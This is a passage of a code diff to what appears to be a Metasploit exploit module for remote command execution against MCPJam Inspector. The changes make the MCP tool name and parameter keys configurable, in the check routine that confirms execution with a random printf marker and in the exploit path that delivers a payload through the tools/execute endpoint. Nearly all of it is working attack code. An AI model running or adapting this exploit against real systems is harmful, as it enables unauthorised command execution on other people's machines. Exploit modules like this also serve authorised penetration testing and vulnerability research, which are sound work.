fetch_output: fetch_output)] }, id: id, timeout: 20 ) end - def execute_mcp_tool(id, cmd, fetch_output: datastore['FETCH_OUTPUT']) + def execute_mcp_tool(id, cmd, names, fetch_output: datastore['FETCH_OUTPUT']) send_request_cgi( { 'method' => 'POST', @@ -170,10 +185,10 @@ def execute_mcp_tool(id, cmd, fetch_output: datastore['FETCH_OUTPUT']) 'ctype' => 'application/json', 'data' => { 'serverId' => id, - 'toolName' => 'exec', + 'toolName' => names[:tool_name], 'parameters' => { - 'cmd' => cmd, - 'fetch_output' => fetch_output + names[:command_key] => cmd, + names[:fetch_output_key] => fetch_output } }.to_json }, @@ -222,12 +237,13 @@ def check id = random_server_id('check') marker = Rex::Text.rand_text_alphanumeric(12) - res = start_mcp_tool_server(id, fetch_output: true) + names = mcp_tool_names + res = start_mcp_tool_server(id, names, fetch_output: true) unless res&.code == 200 return CheckCode::Detected('MCPJam Inspector connect endpoint is reachable, but command execution could not be confirmed') end - res = execute_mcp_tool(id, "printf #{marker}", fetch_output: true) + res = execute_mcp_tool(id, "printf #{marker}", names, fetch_output: true) return CheckCode::Detected('MCPJam Inspector command execution could not be confirmed') unless res&.code == 200 output = res.get_json_document.dig('result', 'content', 0, 'text').to_s @@ -273,7 +289,8 @@ def execute_direct_sh(cmd, id) end def execute_via_mcp_tool(cmd, id) - res = start_mcp_tool_server(id) + names = mcp_tool_names + res = start_mcp_tool_server(id, names) fail_with(Failure::Unreachable, 'No HTTP response received while starting MCP command server') unless res unless res.code == 200 @@ -283,7 +300,7 @@ def execute_via_mcp_tool(cmd, id) print_good('MCP command server connected') print_status('Executing payload through MCP tools/execute') - res = execute_mcp_tool(id, cmd) + res = execute_mcp_tool(id, cmd, names) if res.nil? print_status('No HTTP response received after tool execution')